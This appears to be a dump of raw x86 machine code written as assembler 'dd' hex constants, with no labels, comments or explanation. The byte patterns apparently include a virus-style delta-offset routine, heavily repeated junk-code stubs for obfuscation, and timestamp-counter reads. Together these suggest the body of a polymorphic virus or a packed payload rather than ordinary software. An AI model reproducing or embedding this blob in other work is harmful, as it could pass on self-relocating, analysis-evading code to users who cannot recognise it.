		dd 8D8BFBB7h, 614064Dh,	2B05BD8Bh, 8B500614h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 81C35141h, 499D8B27h, 0F061404h
		dd 0BD83FEBFh, 61429ADh, 5C840F00h, 8B000000h, 1421299Dh
		dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 6E55ADC3h, 65B31643h, 935B589h
		dd 0DF8B0614h, 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0FF3BF9C3h, 83D7B7E1h
		dd 142671BDh, 840F0006h, 41Fh, 302D9D8Bh, 0BD830614h, 6142671h
		dd 27840F01h, 0F000004h, 0BD83FFB7h, 6142671h, 0E1860F03h
		dd 8B000003h, 8C6660DFh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 4E180C9h, 8FDBD89h, 0C90A0614h
		dd 14C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0C4FDA0C3h, 8BAC4235h, 142B999Dh
		dd 25BD8B06h, 57061408h, 0FE8h,	6D16D500h, 0E184BA32h
		dd 0DABFA2BDh, 5D33C453h, 5BD98B66h, 69858B5Fh,	0E9061419h
		dd 9, 6388631Ch, 993E69D4h, 818533A3h, 0B706141Bh, 0BF6650BFh
		dd 489F3DDh, 0BDB53124h, 6A061421h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 681930BBh
		dd 0D1C706E6h, 11E9h, 0F1CEA600h, 6080859Dh, 98A706D9h
		dd 90229DFCh, 481DBBDh,	57FD1924h, 56006A2Eh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0F24E564Fh
		dd 89C5D593h, 140D0DBDh, 0AD95FF06h, 6A061409h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0F93CC351h, 290E072Eh, 14106D8Dh, 1BD8B06h, 8906140Dh
		dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0D2126155h, 0E9B1B73Bh, 7, 74895F71h
		dd 0E9988D60h, 1F1h, 0D18D89h, 858B0614h, 617AA90h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0F2C35343h, 0BE82B6Fh
		dd 5000000h, 80FF808Ah,	444681Ah, 0FE9B389h, 0A5000000h
		dd 0E2E5C804h, 69855C3Eh, 0B776E22Dh, 0C75BBF02h, 1800h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0CCC16018h, 0B2BA78CAh
		dd 0DF8BC05Fh, 0AA94B58Bh, 6A0617h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 25963FC3h
		dd 2B059D89h, 858B0614h, 6140B29h, 6860Fh, 0BD890000h
		dd 6140B09h, 8E90689h, 97000000h, 1FF0715h, 8B1F153Fh
		dd 14196985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0AD19828Bh, 0BD1BD8Bh, 46890614h
		dd 0FFB70F04h, 188F0F96h, 0E8000000h, 10h, 67209FE3h, 0E45AFFFAh
		dd 0BF28ACh, 0DEA6F8Bh,	505BB5B7h, 96DE8B66h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6FC35040h, 61612294h
		dd 90B5FFE6h, 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0D8CEC357h,	1278F2E5h
		dd 0BD898BC3h, 6143215h, 218DB589h, 0E9680614h,	56DE385Eh
		dd 5BDA8B66h, 16240481h, 8921E6A5h, 142BD1BDh, 98858D06h
		dd 6A0617AAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 2C4DC351h, 14C7C790h, 66C14248h
		dd 50E844BFh, 73CC2ABBh, 24048928h, 29919D8Bh, 95FF0614h
		dd 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	81C35747h, 0BCE59ACEh, 10C4BCBFh, 9D89612Fh, 61424A5h
		dd 267185C7h, 30614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0F29C24C3h, 14D19D33h
		dd 0BD830614h, 617AA98h, 35840F00h, 8B000000h, 142C7DBDh
		dd 45E906h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0D75DEC3h, 0B5C47D2Ah, 0B7E37094h
		dd 0DF8B661Eh, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 31E7C356h, 9495C22h
		dd 1415C99Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 80629C74h, 74549A67h, 2671BD83h
		dd 0F030614h, 42385h, 68C0F00h,	81000000h, 0BF37E4EBh
		dd 98BD8336h, 617AAh, 40A840Fh,	0B70F0000h, 95BD8BF8h
		dd 0FF06142Eh, 17AA98B5h, 7DE1BF06h, 95FF0933h,	6142AF5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 42C35040h
		dd 9531F33Dh, 6140A49h,	0AA8CB58Bh, 0CB800617h,	106C735h
		dd 6A000100h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 6E72C352h, 0CE862h, 8D250000h
		dd 0FD953A8Bh, 0C435FEE7h, 6660CF2Dh, 5621EAB8h, 895B6158h
		dd 1425ADBDh, 8B665006h, 243489F8h, 921BD8Bh, 0B5FF0614h
		dd 617AA98h, 0FFFC70B7h, 140B3195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9C1ACC71h
		dd 671B531h, 0B58B0614h, 617AA8Ch, 0B5315F56h, 6142FADh
		dd 21D5858Bh, 81660614h, 891D52EFh, 0C486h, 68F0F00h, 89000000h
		dd 142599BDh, 29958B06h, 0FC061432h, 6A04C283h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 733AC351h, 50896FD0h, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0B67081F4h, 0A1E04FDCh
		dd 9D8BE698h, 61403ADh,	799D0360h, 89061423h, 142E959Dh
		dd 858D6106h, 617BE06h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0D4C35646h, 8E99Fh, 0E2E60000h, 0EA585681h
		dd 8689B440h, 0B8h, 649BD09h, 6A0614h, 22898D89h, 0B5FF0614h
		dd 617AA98h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	43C35747h, 0BD5C56ADh, 6559830Fh, 9D8BFC88h, 614085Dh
		dd 93995FFh, 0B5890614h, 614035Dh, 8880F96h, 0F000000h
		dd 28Ch, 50616000h, 2850Fh, 0FD8A0000h,	0C59D8B96h, 0FF061418h
		dd 17AA98B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 11800FEDh, 0E9000000h, 0Ch, 488D10FBh
		dd 331D16C5h, 5BFDE144h, 20F595FFh, 6A0614h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0E01F3AC3h
		dd 29921951h, 7DBD2384h, 8B06141Dh, 142B8DBDh, 21BD8306h
		dd 6140Ch, 82840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 86D6B6C3h, 97C1AD84h
		dd 30F1B509h, 0E8500614h, 6, 841E9FA1h,	11E95005h, 2000000h
		dd 7FDA63E6h, 0D5D31AADh, 0A2E58885h, 4BF58D17h, 2434895Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B8C35646h
		dd 622B7811h, 0E9DF8B66h, 0Ch, 12A2EEB4h, 430E8ED5h, 5C881676h
		dd 0AA98B5FFh, 6A0617h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 40C18CC3h, 0A14BEAE5h, 0FFDF8B11h
		dd 1402B195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 3F25694Dh, 0BD89D8A9h, 614318Dh
		dd 0AA98B5FFh, 6A0617h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 7C4AB6C3h, 0B8B6BB66h, 308195FFh
		dd 14E90614h, 0EC000000h, 0EE777A9Ch, 0C300C7C3h, 775B2631h
		dd 2D1F9E9h, 83D969C9h,	1409F5BDh, 840F0206h, 34h, 0D4D9589h
		dd 858B0614h, 6142D01h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0DCC35242h, 0A9831F93h, 0C67B64h, 74E78000h
		dd 244D85C7h, 614h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 180424h, 56460000h, 0EB937C3h, 9D89D434h
		dd 614251Dh, 0FFF3A8E9h, 0DE9FFh, 0DF080000h, 0C200C014h
		dd 0B78FFA97h, 8B5D91D5h, 51006AC1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 2F972DBCh
		dd 92DB2461h, 64BB14E3h, 8D68D6DCh, 140F9985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 8D99003Dh, 0E950C3B7h, 8, 0E02D2768h, 0D61BEE5Fh, 6A240489h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0CF740EF9h, 69BD8BA6h, 6A061409h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 9D8B65B5h, 614321Dh,	7BE78166h, 57858D91h, 6606191Dh
		dd 0C083F88Bh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0B07DBEA4h, 0D535693Dh
		dd 0BF669617h, 0B790ABEFh, 0F60503Eh, 0B81h, 6E900h, 0A8790000h
		dd 0ED976B14h, 0BD299061h, 6142B05h, 5E9h, 681EDB00h, 6A6B28h
		dd 4DDBD8Bh, 6A0614h, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 18h, 31C35646h, 7DDBE553h,	1A7195FFh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 4DCE8AC3h, 8968400Eh, 1404C185h, 0FC8D8D06h,	6A0617A8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 9BABC352h, 8DB13963h, 0C23803DFh,	8880Fh
		dd 89600000h, 1434BD8Dh, 0D1FF6106h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 9BC35141h, 847995DEh, 0BD83FA5Eh
		dd 61412CDh, 0D3850F01h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E93FC353h
		dd 10h,	9D31281Eh, 6D11A745h, 0CC29EAB3h, 0C4A92332h, 0F98B6652h
		dd 6A026A5Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 6F63C355h, 66B78AF2h, 7E87598h
		dd 0C4000000h, 0F2B08CE0h, 8B66DD55h, 0E9505BF8h, 5, 0B769EFC9h
		dd 2404897Fh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	4C35343h, 6178B73Ch, 0E971DE9Fh, 6, 76A1E0Dh, 0BB667B0Ah
		dd 95FFCC92h, 6140939h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0CEC35747h, 0DD43CBEDh, 0D2E9D5B3h, 0E800000Ch
		dd 0
		dd 61ED815Dh, 6A06191Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0E26BC352h,	0DD65DC54h
		dd 0BBDEBF0Fh, 5D2D9014h, 9623858Dh, 0BF0F0617h, 8B0F50F9h
		dd 5, 9551C7BFh, 2404893Eh, 35FF64h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 138DC351h, 0CBD16008h, 0CE826F7h, 54000000h,	7D49A113h
		dd 848AA61h, 89DBEE1Fh,	14052585h, 89645B06h, 25h, 0CB816600h
		dd 9589BE2Ch, 61434D1h,	236D85FFh, 7E90614h, 31000000h
		dd 0C197EF77h, 6AFCB5D9h, 0B99D8BFFh, 8B06142Ah, 140379BDh
		dd 95B5FF06h, 6A06142Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 128EC355h, 397E6189h
		dd 74DC3586h, 0FF88C380h, 142B1995h, 0D7E906h, 0BF0F0000h
		dd 6600B0DBh, 0CD66F781h, 0E4F570E6h, 95EF8071h, 830F613Ch
		dd 0BDh, 8BC8B60Fh, 1430E99Dh, 6BA06h, 0F3B30000h, 1D719D8Bh
		dd 0C18B0614h, 0D9816660h, 0BA662FB3h, 0C161FCB8h, 0E96004E8h
		dd 10h,	0F833712Eh, 0A00FC4DFh,	18C35979h, 7B1D3F6h, 1635B589h
		dd 66610614h, 0BD8BE2F7h, 6140335h, 0D18BC82Bh,	25CD8531h
		dd 62E90614h, 89000000h, 14266DBDh, 4C858B06h, 29505F4Ch
		dd 1409FD85h, 7C08306h,	0BB00C083h, 4F562C78h, 830FD03Bh
		dd 9, 37E9F9h, 8AF90000h, 0FF8D8BDAh, 83FFFFFFh, 840F01E1h
		dd 25h,	1FB5BD31h, 0A5830614h, 0FFFFFFFFh, 9D0BF9FEh, 6140825h
		dd 4C4C9589h, 9D89505Fh, 6140C1Dh, 0E9h, 33B58D00h, 6A06189Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8A3CC350h, 0FA8B66D9h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0FFF886C3h
		dd 14116995h, 6890F06h,	2B000000h, 141939BDh, 1DB52906h
		dd 0B9061406h, 105Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 14h, 6DC35646h, 2A558531h,	0E1830614h, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 1DFA3D73h, 59B501FCh, 2B06142Ah, 0BAC0h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 440961C3h, 9D29D757h, 61415FDh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0C9C35242h, 0CC2137BFh,	50006A72h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 1F9ECAC2h
		dd 880D0924h, 8B000000h, 29958BD8h, 89061432h, 142ED9B5h
		dd 4D8D8B06h, 6A061406h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 9C62C353h, 0A20BA410h
		dd 0E91CD28Dh, 0Dh, 54348E9Bh, 356584FEh, 0AC5E479h, 1CBF6631h
		dd 0C28B5086h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F958188Bh
		dd 29ADBD83h, 0F000614h, 1984h,	0B8F900h, 66000000h, 8DBBA5BFh
		dd 144D798Dh, 0DB816606h, 0E1FF2C58h, 0BD83DF8Bh, 6142671h
		dd 0A8840F00h, 8B000004h, 1406BD9Dh, 8E906h, 9DE90000h
		dd 5794420Dh, 0BD832227h, 6142671h, 0A3840F01h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 6781C355h, 665CDF81h, 0BD833984h,	6142671h
		dd 3D860F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 896FC355h, 1419AD9Dh
		dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0F3BB9FC3h, 0C14BCA51h, 0B531FC85h, 614084Dh
		dd 0F8D98C66h, 8B04E180h, 142C85BDh, 0FC90A06h,	1C784h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8A60E046h, 61D18BF8h, 1969858Bh,	6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0FED542C3h, 4001061Bh, 0E2040BBh, 8185337Ah,	6A06141Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 76D9C352h, 77480FDCh, 0E998A22Ch,	0Ah, 0E8D59C3Dh
		dd 0F464878h, 50504012h, 0E8525052h, 0Eh, 24233FDFh, 0E2B9E30Dh
		dd 0D5EA078Ah, 0F5B1BD6h, 5AFE8B31h, 0E8310F58h, 5, 69740082h
		dd 870F9Eh, 5F000000h, 489585Ah, 0C1BD2324h, 6A06142Bh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 51FC2CD9h, 89624BFDh, 14310D95h,	9CF06806h
		dd 505376C7h, 810F52h, 0F000000h, 10E831h, 0B05C0000h
		dd 106CA522h, 0F99904D4h, 0D647B7A1h, 5A5F20E5h, 34815F58h
		dd 0D89F0F24h, 55006A76h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 3F3210BAh, 0CF81661Ch
		dd 95FF90CBh, 61409ADh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9AC35545h, 0A830F90h,	60000000h, 4D9B52Bh
		dd 0EE8A0614h, 258D2961h, 89061402h, 17AA9885h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0FF107D5Eh, 0B8E9B090h, 6A000001h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 6D24C352h
		dd 0AA90858Bh, 6A0617h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 806E40C3h, 8F8E04F3h, 0B65218BBh
		dd 9985016Dh, 0C7061409h, 1800h, 0DE8B6600h, 1B99BD89h
		dd 0B58B0614h, 617AA94h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 1FC35747h, 8B52C21Dh,	140B2985h, 819D2906h
		dd 89061407h, 0D59D2306h, 8B06141Ch, 14196985h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0FE220B24h, 0EAB0344Ah, 6A044689h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F54EC352h
		dd 22D4C6CEh, 8973B750h, 66562434h, 5FEDDFBBh, 90B5FFFCh
		dd 8B0617AAh, 1421F5BDh, 0A54C6806h, 6E824F1h, 70000000h
		dd 691FB956h, 6ABB66C7h, 34815F16h, 0EEA6B324h,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 98858D0Dh, 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8964C357h, 140839BDh
		dd 9D9D8B06h, 50061408h, 0CE9h,	0F141C00h, 9DCD9470h, 0B47DDA89h
		dd 240489ECh, 0C830Fh, 8D0F0000h, 6, 1A899589h,	0B5890614h
		dd 6141B6Dh, 9AD95FFh, 6A0614h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 500972C3h, 615BDC8Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 78C35242h
		dd 5E6934E9h, 661BACC5h, 0C7BA30BFh, 14267185h,	306h, 0FDB50900h
		dd 83061425h, 17AA98BDh, 840F0006h, 34h, 5FF98B57h, 46E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0BF724BEDh, 0F21AE6Ah
		dd 8589DFB7h, 6141535h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 66C08B00h, 0BD8BFA8Bh, 6142515h,	83FBB70Fh
		dd 142671BDh, 850F0306h, 3F5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0B3C35141h,	682132AAh, 0DB816635h
		dd 0BD833CEFh, 617AA98h, 0C2840F00h, 81000003h,	0E0CF98C7h
		dd 79BD8B4Ah, 0FF061431h, 17AA98B5h, 68A0F06h, 29000000h
		dd 14321595h, 0F595FF06h, 106142Ah, 141B1DB5h, 8CB58B06h
		dd 0B30617AAh, 106C748h, 0E9000100h, 9,	3CBE553Dh, 4C15DAB1h
		dd 57C381ACh, 5028EE45h, 3489F98Ah, 0BD8BF824h,	614322Dh
		dd 0AA98B5FFh, 8D890617h, 6140031h, 0B3195FFh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 81B814C3h, 7B41E4DBh, 0B58BF96Bh, 617AA8Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 49C35242h, 59BD8B67h
		dd 8906140Ch, 14142D95h, 0D5858B06h, 0F061421h,	687h, 0A0CF8100h
		dd 8919022Fh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 958BBE3Ch, 6143229h, 28E0Fh
		dd 0DD8A0000h, 83F88B66h, 9D8B04C2h, 6142989h, 0F5205089h
		dd 291B589h, 858D0614h,	617BE06h, 17880Fh, 12E90000h, 2E000000h
		dd 0D54EA313h, 2DD88652h, 3A9F5D9Bh, 717948B1h,	0B88689E4h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0F301C357h, 17A159B7h,	0BD8B2D82h
		dd 6141711h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FF0569C3h, 17AA98B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 4DC78198h, 0FF4C46D0h, 14093995h, 53609606h,	6658C88Bh
		dd 6178EEBFh, 50606050h, 5A310F52h, 0FE858h, 16CB0000h
		dd 0F98412CBh, 640941A6h, 0F04AD2DBh, 0F615ACBh, 28Fh
		dd 61616000h, 0B5FFF596h, 617AA98h, 21F5BD8Bh, 95FF0614h
		dd 61420F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0C9C35040h, 75201DC5h, 0C21BD83h, 0F000614h, 8484h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0CCD9D29h, 6830Fh, 9D8B0000h, 6142EA5h
		dd 0E8525050h, 0Eh, 666BE5E3h, 0AD0FE774h, 238B746Ah, 0BE92510h
		dd 0E6000000h, 10A437AFh, 0A52D6A7Ch, 0F5BD8ADh, 4D6BB31h
		dd 585A3464h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 9462C357h, 8B2DF337h
		dd 142EC99Dh, 98B5FF06h, 6A0617AAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 7E6EC350h
		dd 0DE828h, 0F8430000h,	7C1A2C4Fh, 789750D4h, 81F0EB41h
		dd 0EE3AE7CFh, 0E3815F1Fh, 709BF455h, 2B195FFh,	81660614h
		dd 0FF90D3CBh, 17AA98B5h, 0A9B53106h, 0FF06140Fh, 14308195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 9CC110FFh, 33EC0439h, 0FFBF0F05h, 0EE8h
		dd 0CF28DC00h, 0DC19B30Ah, 0A7D3CC78h, 89D6AF5Fh, 14052D95h
		dd 0BD835B06h, 61409F5h, 36840F02h, 29000000h, 140E6985h
		dd 1858B06h, 8B06142Dh,	142CA9BDh, 0C606h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FCC35646h, 43BF665Ch
		dd 4D85C709h, 61424h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0F54BC351h,	8B1A3CB9h
		dd 1424F59Dh, 0F42DE906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 5CC73FC3h, 6AC18BBCh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0ABC7C356h, 15EEF1A1h, 0F5FF46B8h, 25E408BFh
		dd 99858D2Ah, 6A06140Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0B347C352h,	0BEB36144h
		dd 0F59FA3F2h, 0B7525090h, 52310F02h, 5BD98B66h, 6650585Ah
		dd 0E890DA8Bh, 12h, 0D128BEA9h,	0AF216343h, 9193CE38h
		dd 93DE7173h, 9D8BC9A1h, 61406BDh, 6A006A5Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0CB57C356h, 0F006ACDh, 68Ah,	45BD2300h, 8B061408h, 142C2DBDh
		dd 17858D06h, 6A06192Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0B272C357h,	9E9C7087h
		dd 291B97B9h, 14165DB5h, 0A58D0906h, 83061423h,	8B6605C0h
		dd 0FD8A90DAh, 9034B750h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 6BC35545h, 58BFCA47h,	6A2B6028h, 5ABF6600h
		dd 66006A2Ah, 0FFA0FABBh, 141A7195h, 25BD8B06h,	8D061416h
		dd 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0BF8C1B2Ch, 53E31913h, 6AD1FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 1F6BFCC3h, 7E94B2Bh,	0F6000000h, 0AFC66B85h,	9D098197h
		dd 61409A9h, 12CDBD83h,	0F010614h, 7185h, 89026A00h, 14159195h
		dd 12E99006h, 54000000h, 7899A551h, 0B4FE0463h,	462A6C97h
		dd 6EBA3CD9h, 90B750DAh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 567A9539h, 782E103h, 95FF1052h
		dd 6140939h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	85C35242h, 23ADB589h, 5DE90614h, 0E8000010h, 0
		dd 21ED815Dh, 6A06192Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 6040C357h, 0F8922D99h
		dd 1D0D8D29h, 0BD890614h, 6140C2Dh, 444EBB52h, 505B5915h
		dd 0A6D2BB66h, 23858D5Fh, 6A061796h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8D69C350h
		dd 1943A707h, 0F50F04Ch, 28Fh, 8942B300h, 6A2404h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 42F316C3h, 18BB660Ah, 0F5BD29CCh, 64061415h,	35FFh
		dd 12E90000h, 74000000h, 7216D044h, 538E009Ch, 785864B8h
		dd 0D1ED2C58h, 2589642Eh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 35C35646h
		dd 1CD7A5EFh, 517FB844h, 0F5F66B3h, 389h, 0FB8B6600h, 236D85FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0F37889C3h, 2C9F7F7Ch, 0C985890Ah, 6A061406h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 41937E7Bh, 57412C6Ch, 0B5FF91CAh, 6142111h
		dd 0EE8h, 262B8C00h, 0ABEF1BADh, 768860C9h, 8B8D1F3Dh
		dd 1430299Dh, 95FF5B06h, 6142B19h, 1AAE9h, 0E9BB6600h
		dd 8B00B031h, 141685BDh, 0F5BD8B06h, 0E606141Fh, 13E870h
